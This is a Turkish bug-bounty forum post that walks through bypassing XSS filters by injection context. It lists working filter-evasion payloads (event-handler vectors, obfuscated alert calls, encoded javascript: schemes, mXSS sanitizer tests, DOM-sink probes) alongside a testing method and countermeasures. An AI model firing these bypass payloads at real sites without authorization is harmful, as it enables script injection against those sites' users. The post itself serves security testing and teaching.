Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

01 - XSS: Zincirleme (Recursive) Bypass & Hazır Payload'lar

0bat.exe1

Moderator
Araştırmacı
Katılım
2 Ocak 2026
Mesajlar
24
Tepkime puanı
60
Puan
13

xss.webp​

Kullanım: Aşağıdaki bölümlerde genel yapı ENGEL → DENEME → PAYLOAD → NEREDE şeklindedir.
Her engelde sırayla ilerleyin ve payload'ları bulunduğunuz bağlama göre uyarlayın:
  • HTML gövde
  • Attribute
  • JavaScript string
  • URL
  • DOM sink
  • Sanitizer
  • CSP

1. Bağlam Sınıflandırması​

İlk olarak payload'ın hangi bağlamda işlendiğini belirleyin.
BağlamYansıma örneğiÖrnek vektör
HTML gövde<p>PAYLOAD</p><svg/onload=...>
Attributevalue="PAYLOAD"" autofocus onfocus=...
JS stringvar x='PAYLOAD''-alert(1)-'
JS değişkenvar n=PAYLOAD1;alert(1)//
URL parametresihref="?q=PAYLOAD"javascript: / yönlendirme
DOM sinklocation.hash, innerHTML, eval, document.write, jQuery $()Bağlama göre
SanitizerDOMPurify vb.mXSS / DOM clobbering
CSP'li sayfascript-src mevcutCSP gadget analizi

2. Engel Zincirleri​

E1 — <script> Etiketi Engelleniyorsa​

Kod:
<script>alert(1)</script>
Engelleniyorsa alternatif HTML/event handler noktaları incelenebilir:
Kod:
<img src=x onerror=alert(1)>

<svg/onload=alert(1)>

<details open ontoggle=alert(1)>

<video>
    <source onerror=alert(1)>
</video>

<body onpageshow=alert(1)>

<input autofocus onfocus=alert(1)>

<marquee onstart=alert(1)>

<iframe src=javascript:alert(1)>
Nerede?
HTML gövdesinde kullanıcı girdisinin doğrudan DOM'a işlendiği durumlarda.
Bazı filtreler yalnızca <script> kalıbına odaklanırken farklı element/event handler kombinasyonlarını aynı şekilde değerlendirmeyebilir.
Recursive kontrol örneği:
Kod:
onerror
filtreleniyorsa uygulamanın normalize etme ve parser davranışı ayrıca kontrol edilmelidir.
Örneğin:
Kod:
onerror =alert(1)
veya entity/encoding davranışları incelenebilir.

E2 — alert() İmzası Engelleniyorsa​

Başlangıç:
Kod:
alert(1)
Farklı JavaScript sözdizimleri:
Kod:
alert`1`

alert?.('1')

(alert)(1)

top['al'+'ert'](1)

window['alert'](1)

eval(atob('YWxlcnQoMSk='))

eval(String.fromCharCode(97,108,101,114,116,40,49,41))

[].constructor.constructor('alert(1)')()

prompt(1)

confirm(1)
Amaç yalnızca belirli bir string imzasına bağlı filtreleme bulunup bulunmadığını anlamaktır.
Hem parantez hem de belirli fonksiyon adları filtreleniyorsa kullanıcı etkileşimli event handler noktaları da test bağlamına göre incelenebilir:
Kod:
<img src=x onmouseover=...>

<input autofocus onfocus=...>

E3 — Tek Tırnak ' Engelleniyorsa​

Örnek bağlam:
Kod:
var x='PAYLOAD'
Alternatif bağlam kaçışları:
Kod:
"-alert(1)-"

\'-alert(1)-\'

-`alert(1)`-

-alert(1)-
Birden fazla filtre aynı anda uygulanıyorsa JavaScript parser'ın hangi karakterleri gerçekten değerlendirdiği kontrol edilmelidir.
Örnek:
Kod:
-eval(atob('YWxlcnQoMSk='))-

E4 — javascript: Şeması Engelleniyorsa​

Başlangıç:
Kod:
javascript:alert(1)
URL parser, decoder ve filtre davranışını anlamak için farklı encoding biçimleri karşılaştırılabilir:
Kod:
javascript%3Aalert(1)

javascript%3A%2F%2Fx%0Aalert(1)

java%73cript:alert(1)

jav&#x61;script:alert(1)

&#106;avascript:alert(1)

JAVASCRIPT:alert(1)

\u006aavascript:alert(1)
Yönlendirme bağlamında ayrıca:
Kod:
//example.com
gibi protocol-relative URL davranışları kontrol edilebilir.
Nerede?
Kod:
<a href>
location=
router.push()
window.open()
gibi navigation sink'lerinde.

E5 — < ve > Karakterleri Encode Ediliyorsa​

Başlangıç:
Kod:
<svg/onload=alert(1)>
Doğrudan HTML oluşturulamıyorsa önce uygulamanın veriyi hangi aşamalardan geçirdiği belirlenmelidir.
Kontrol edilmesi gereken noktalar:
Kod:
HTML encoding
URL decoding
double decoding
sanitizer
DOM parser
innerHTML
template rendering
Double encoding yalnızca uygulamanın gerçekten birden fazla decode işlemi yaptığı durumlarda anlamlıdır.
Örneğin:
Kod:
%253c
%253e
kullanıldığında sunucunun veya istemci tarafının ikinci bir decode yapıp yapmadığı ayrıca doğrulanmalıdır.

E6 — WAF URL Seviyesinde Filtreleme Yapıyorsa​

Örnek davranış:
Kod:
javascript:       → engellendi
javascript%3A     → engellendi
Böyle bir durumda asıl amaç WAF ve uygulamanın URL'yi hangi sırayla normalize ettiğini anlamaktır.
İncelenebilecek alanlar:
Kod:
URL encoding
double encoding
newline parsing
fragment
cookie
header
second-order input
DOM-based processing
Özellikle:
Kod:
#fragment
sunucuya gönderilmediği için yalnızca client-side JavaScript tarafından işlendiği senaryolarda farklı davranabilir.
Second-order veri kaynakları:
Kod:
Cookie
LocalStorage
SessionStorage
postMessage
URL fragment
API response
stored profile data

E7 — Sanitizer / mXSS Davranışı​

Sanitizer kullanılan uygulamalarda yalnızca kaynak HTML'e bakmak yeterli değildir.
Özellikle browser parser'ın sanitize edilmiş HTML'i tekrar yorumlaması sonucu DOM yapısının değişip değişmediği incelenmelidir.
Kontrol alanları:
Kod:
DOMPurify
Markdown renderer
Rich text editor
SVG
MathML
HTML upload
Template renderer
Örnek parser testleri:
Kod:
<math>
    <mtext>
        <table>
            <mglyph>
                <style><!--</style>
                <img title="--><img src=1 onerror=alert(1)>">
Kod:
<style><!--</style>
<img title="--><img src=1 onerror=alert(1)>">
Kod:
<svg>
    <p>
        <style>
            <img src=x onerror=alert(1)>
        </style>
    </p>
</svg>
Kod:
<a href="&#x6a;avascript:alert(1)">x</a>
Bu davranışlar sanitizer sürümüne, browser'a ve parser kombinasyonuna bağlıdır.
Bu nedenle her ortam ayrı doğrulanmalıdır.

E8 — CSP Bulunan Sayfalarda​

Örnek politika:
Kod:
Content-Security-Policy: script-src 'self'
Bu durumda yalnızca yeni script eklemeye çalışmak yerine mevcut uygulamadaki izin verilen JavaScript kaynakları ve gadget'lar incelenmelidir.
Bakılabilecek noktalar:
Kod:
JSONP endpoint'leri
izin verilen CDN'ler
unsafe-eval
unsafe-inline
nonce kullanımı
base-uri
form-action
frame-src
script-src
trusted-types
mevcut framework gadget'ları
Örnek JSONP yapısı:
Kod:
<script src="/api/endpoint?callback=callbackName"></script>
Eğer uygulama callback parametresini kontrolsüz biçimde JavaScript'e dönüştürüyorsa güvenlik açısından ayrıca değerlendirilmelidir.
Tarihsel framework gadget'ları da eski uygulamalarda önem taşıyabilir.
Örneğin eski AngularJS yapılarında expression değerlendirmesi ayrıca kontrol edilmelidir.

E9 — DOM Sink'ler​

DOM tabanlı açıklar klasik server-side yansımalardan farklı değerlendirilmelidir.
Önemli source örnekleri:
Kod:
location.href
location.search
location.hash
document.URL
document.referrer
window.name
postMessage
localStorage
sessionStorage
document.cookie
Önemli sink örnekleri:
Kod:
innerHTML
outerHTML
document.write()
eval()
Function()
setTimeout(string)
setInterval(string)
location=
window.open()
insertAdjacentHTML()
jQuery.html()
jQuery.$()
Örnek:
Kod:
element.innerHTML = location.hash.slice(1)
Bu yapı varsa hash içeriği doğrudan HTML parser'a aktarılmış olur.
Test formatı:
Kod:
https://example.com/#PAYLOAD
Başka bir örnek:
Kod:
eval(location.hash.slice(1))
Test:
Kod:
#alert(1)
postMessage kullanılan uygulamalarda:
Kod:
window.addEventListener("message", ...)
handler'ları ve gelen verinin hangi sink'e gönderildiği ayrıca kontrol edilmelidir.

E10 — Stored / Second-Order XSS​

Stored XSS yalnızca input'un kaydedildiği noktada aranmaz.
Asıl kritik nokta verinin daha sonra nerelerde render edildiğidir.
Örnek veri kaynakları:
Kod:
Profil adı
Kullanıcı adı
Başlık
Yorum
Dosya adı
Organizasyon adı
Bildirim
Admin paneli
Log viewer
Dashboard
E-posta şablonu
PDF/HTML çıktısı
Basit akış:
Kod:
1. Veri sisteme kaydedilir.

2. Kaydetme tarafında filtre uygulanabilir.

3. Aynı veri farklı bir endpoint veya admin panelinde tekrar okunur.

4. Okuma tarafı farklı renderer kullanıyorsa veri yeniden HTML olarak işlenebilir.
Bu nedenle:
Kod:
WRITE PATH
↓
DATABASE
↓
READ PATH
↓
RENDERER
↓
DOM
zinciri ayrı ayrı incelenmelidir.

3. Örnek Zincir Analizi​

Gerçek bir testte zincir çoğu zaman tek bir kontrolden oluşmaz.
Örnek mantık:
Kod:
Katman 1
WAF / URL filtreleme

        ↓

Katman 2
URL decoder / JavaScript parser

        ↓

Katman 3
Uygulama mantığı / allowlist / substring kontrolü

        ↓

Katman 4
Navigation veya DOM sink

        ↓

Browser
Bir güvenlik kontrolü tek başına doğru görünse bile katmanlar arasındaki normalize etme farkları zincirleme güvenlik problemine dönüşebilir.
Özellikle şu kombinasyonlara dikkat edilmelidir:
Kod:
WAF → URL decode → uygulama kontrolü → ikinci decode

Sanitizer → browser parser → DOM mutation

API response → frontend transform → innerHTML

Stored input → farklı renderer → admin panel

URL → router → navigation sink

postMessage → message handler → DOM sink

4. Görünür PoC Kanıtları​

alert() her zaman en iyi doğrulama yöntemi değildir.
Browser otomasyonu, extension veya test ortamı popup'ları engelleyebilir.
Daha görünür doğrulama yöntemleri kullanılabilir.
Örneğin:
Kod:
document.title = "XSS_" + document.domain
DOM'a kontrollü bir işaret eklemek:
Kod:
document.body.insertAdjacentHTML(
    "beforeend",
    "<h1 id='xss-poc'>XSS: " + document.domain + "</h1>"
)
Global değişken oluşturmak:
Kod:
window.__xss_poc = 1
Console üzerinden:
Kod:
window.__xss_poc
kontrol edilebilir.
Bu yöntemler ekran görüntüsü ve teknik doğrulama açısından popup'a göre daha güvenilir olabilir.

5. Sistematik XSS Test Akışı​

Pratik test sırası:
Kod:
INPUT
  ↓
REFLECTION VAR MI?
  ↓
HANGİ CONTEXT?
  ↓
HTML / ATTRIBUTE / JS / URL / DOM
  ↓
ENCODING VAR MI?
  ↓
SANITIZER VAR MI?
  ↓
WAF VAR MI?
  ↓
CLIENT-SIDE DECODE VAR MI?
  ↓
DOM SINK VAR MI?
  ↓
CSP VAR MI?
  ↓
EXECUTION MÜMKÜN MÜ?
Her aşamada yalnızca payload değiştirmek yerine parser davranışını anlamaya çalışın.

6. Kontrol Edilecek Encoding Katmanları​

Bir input aşağıdaki işlemlerden bir veya birkaçından geçebilir:
Kod:
Raw input

↓ URL encode

↓ URL decode

↓ HTML entity encode

↓ HTML entity decode

↓ JSON encode

↓ JavaScript string escape

↓ Base64

↓ Template rendering

↓ Sanitizer

↓ DOM parser
Bu nedenle payload'ın uygulamanın hangi aşamasında hangi forma dönüştüğünü takip etmek önemlidir.
Örneğin:
Kod:
INPUT
%3Csvg%3E

SERVER
<svg>

TEMPLATE
&lt;svg&gt;

BROWSER
<svg>
gibi farklı katmanlarda farklı sonuçlar oluşabilir.

7. DOM XSS İçin Source → Sink Mantığı​

DOM XSS analizinde temel mantık:
Kod:
SOURCE
   ↓
TRANSFORM
   ↓
VALIDATION
   ↓
SINK
Örnek:
Kod:
const value = location.hash.slice(1);

const decoded = decodeURIComponent(value);

target.innerHTML = decoded;
Burada:
Kod:
SOURCE
location.hash

TRANSFORM
decodeURIComponent()

SINK
innerHTML
şeklindedir.
Aynı yaklaşım aşağıdaki kaynaklarda da kullanılabilir:
Kod:
location.search
location.pathname
document.referrer
window.name
postMessage
localStorage
sessionStorage
cookie
API response
WebSocket message

8. SPA / Modern Frontend Uygulamaları​

React, Vue, Angular, Next.js ve benzeri SPA yapılarında klasik reflected XSS dışında navigation ve state akışları önemlidir.
Kontrol edilmesi gereken yapılar:
Kod:
router.push()
router.replace()
window.location
location.assign()
location.replace()
dangerouslySetInnerHTML
v-html
innerHTML
postMessage
URLSearchParams
decodeURIComponent
localStorage
sessionStorage
Özellikle:
Kod:
URL
 ↓
Router
 ↓
State
 ↓
Component
 ↓
DOM
akışında input birkaç farklı güvenlik kontrolünden geçebilir.

9. Filtre Analizinde Dikkat Edilecek Noktalar​

Filtre davranışı test edilirken aşağıdaki sorular cevaplanmalıdır:
Kod:
Filtre nerede çalışıyor?

WAF mı?

Backend mi?

Frontend mi?

Sanitizer mı?

Regex mi?

Parser mı?

Browser mı?
Ayrıca:
Kod:
Case-sensitive mi?

Decode öncesi mi kontrol ediyor?

Decode sonrası mı?

Bir kez mi decode ediyor?

İki kez mi decode ediyor?

Unicode normalize ediyor mu?

HTML entity çözüyor mu?

URL parser kullanıyor mu?

Substring mi kontrol ediyor?

Exact match mi?

Allowlist mi?

Blocklist mi?

10. Recursive Test Mantığı​

Recursive testin amacı rastgele yüzlerce payload göndermek değildir.
Mantık şu şekilde ilerlemelidir:
Kod:
Payload
   ↓
Engellendi
   ↓
Hangi karakter / kelime / yapı engellendi?
   ↓
Filtrenin çalışma mantığını belirle
   ↓
Tek değişkeni değiştir
   ↓
Tekrar test et
   ↓
Sonucu karşılaştır
Örneğin:
Kod:
<script>
engellendiyse hemen yüzlerce payload denenmemeli.
Önce:
Kod:
<script
script
<
>
onerror
svg
img
gibi parçalar ayrı ayrı değerlendirilerek hangi kontrolün tetiklendiği anlaşılmalıdır.

11. Faydalı Browser Kontrolleri​

Browser console üzerinde:
Kod:
location.href
Kod:
location.search
Kod:
location.hash
Kod:
document.documentElement.innerHTML
Kod:
document.querySelectorAll("[onclick],[onerror],[onload]")
Kod:
window.addEventListener
gibi yapılar incelenebilir.
DOM üzerinde değişiklik takibi için DevTools:
Kod:
Elements
Sources
Network
Application
Event Listeners
DOM Breakpoints
bölümleri özellikle faydalıdır.

12. Network Tarafında Kontrol Edilecek Noktalar​

Request:
Kod:
GET /?q=PAYLOAD HTTP/1.1
Host: example.com
Response içerisinde input'un nasıl döndüğü incelenmelidir.
Örnek:
Kod:
<p>PAYLOAD</p>
veya:
Kod:
const search = "PAYLOAD";
veya:
Kod:
<input value="PAYLOAD">
Bu üç durum birbirinden tamamen farklı XSS context'leridir.

13. Server Response ile DOM Arasındaki Fark​

Önemli noktalardan biri:
Kod:
View Source
ile:
Kod:
Elements / DOM
aynı şey değildir.
Server:
Kod:
<div id="app"></div>
gönderebilir.
JavaScript daha sonra:
Kod:
document.querySelector("#app").innerHTML = location.hash;
çalıştırabilir.
Bu durumda payload HTTP response içerisinde görünmez ancak DOM'a daha sonra eklenir.
Bu nedenle yalnızca response body kontrolü DOM XSS analizi için yeterli değildir.

14. Stored XSS Test Matrisi​

Bir veri alanı bulunduğunda yalnızca aynı sayfada kontrol edilmemelidir.
Örnek:
Input AlanıKullanıcı SayfasıAdmin PanelDashboardE-postaExport
Username✓✓✓✓✓
Display Name✓✓✓✓✓
Comment✓✓✓✓✓
File Name✓✓✓✓✓
Organization✓✓✓✓✓
Ticket Subject✓✓✓✓✓
Bir alan güvenli render edilirken aynı veri başka bir panelde raw render edilebilir.

15. False Positive Kontrolü​

Bir XSS bulgusunu doğrulamadan önce:
Kod:
Gerçek JavaScript execution oluşuyor mu?

Payload yalnızca HTML olarak mı görünüyor?

Browser gerçekten parse ediyor mu?

Event tetikleniyor mu?

CSP engelliyor mu?

Sandboxed iframe içerisinde mi?

Trusted Types aktif mi?

Sanitizer payload'ı değiştiriyor mu?

Payload yalnızca DevTools tarafından mı gösteriliyor?
kontrol edilmelidir.

16. Karşı Önlemler​

Context-Aware Output Encoding​

HTML:
Kod:
<  → &lt;
>  → &gt;
&  → &amp;
Attribute, JavaScript ve URL context'leri için ayrı encoding uygulanmalıdır.
Tek bir "HTML encode" fonksiyonu tüm context'ler için yeterli değildir.

Güvenli DOM API'leri​

Riskli:
Kod:
element.innerHTML = userInput;
Daha güvenli:
Kod:
element.textContent = userInput;

Navigation Allowlist​

Navigation sink'lerinde yalnızca beklenen protokoller kabul edilmelidir.
Örneğin:
Kod:
const url = new URL(input, location.origin);

if (
    url.protocol !== "https:" &&
    url.protocol !== "http:"
) {
    throw new Error("Invalid protocol");
}
Gerekirse origin de allowlist ile sınırlandırılmalıdır.

CSP​

Örnek güçlü yaklaşım:
Kod:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-RANDOM';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
Mümkün olduğunda:
Kod:
unsafe-inline
unsafe-eval
kullanılmamalıdır.

Sanitizer​

Sanitizer kullanılıyorsa:
Kod:
Güncel sürüm kullanılmalı

Sanitize sonrası HTML tekrar değiştirilmemeli

DOM parser farkları test edilmeli

SVG / MathML gerekiyorsa ayrı politika uygulanmalı

17. Temel Kontrol Listesi​

XSS araştırmasında son kontrol:
Kod:
[ ] Input reflection bulundu mu?

[ ] Context belirlendi mi?

[ ] Server-side mı DOM-based mi?

[ ] Encoding belirlendi mi?

[ ] Decode zinciri çıkarıldı mı?

[ ] WAF davranışı gözlemlendi mi?

[ ] Sanitizer bulundu mu?

[ ] DOM sink bulundu mu?

[ ] CSP kontrol edildi mi?

[ ] Stored kullanım noktaları arandı mı?

[ ] Second-order kullanım noktaları arandı mı?

[ ] SPA router davranışı kontrol edildi mi?

[ ] postMessage kontrol edildi mi?

[ ] localStorage/sessionStorage kontrol edildi mi?

[ ] Gerçek JavaScript execution doğrulandı mı?

[ ] False positive ihtimali elendi mi?

[ ] Güvenli ve görünür PoC oluşturuldu mu?

18. Özet​

XSS testinde amaç mümkün olduğunca fazla payload göndermek değil, uygulamanın veriyi nasıl işlediğini anlamaktır.
Temel analiz zinciri:
Kod:
INPUT
   ↓
NORMALIZATION
   ↓
FILTER
   ↓
ENCODING
   ↓
DECODING
   ↓
APPLICATION LOGIC
   ↓
DOM / NAVIGATION SINK
   ↓
BROWSER PARSER
Gerçek açıklar çoğu zaman tek bir hatadan değil, bu katmanlar arasındaki davranış farklarından ortaya çıkar.
Özellikle modern web uygulamalarında şu alanlar birlikte değerlendirilmelidir:
Kod:
WAF
Backend validation
URL parser
Frontend router
DOM sink
Sanitizer
CSP
Browser parser
Stored data
Second-order data flow
En önemli yaklaşım:
Payload ezberlemek yerine parser'ı, veri akışını ve güvenlik kontrollerinin hangi sırayla uygulandığını anlamaya çalışın.
 
Geri
Üst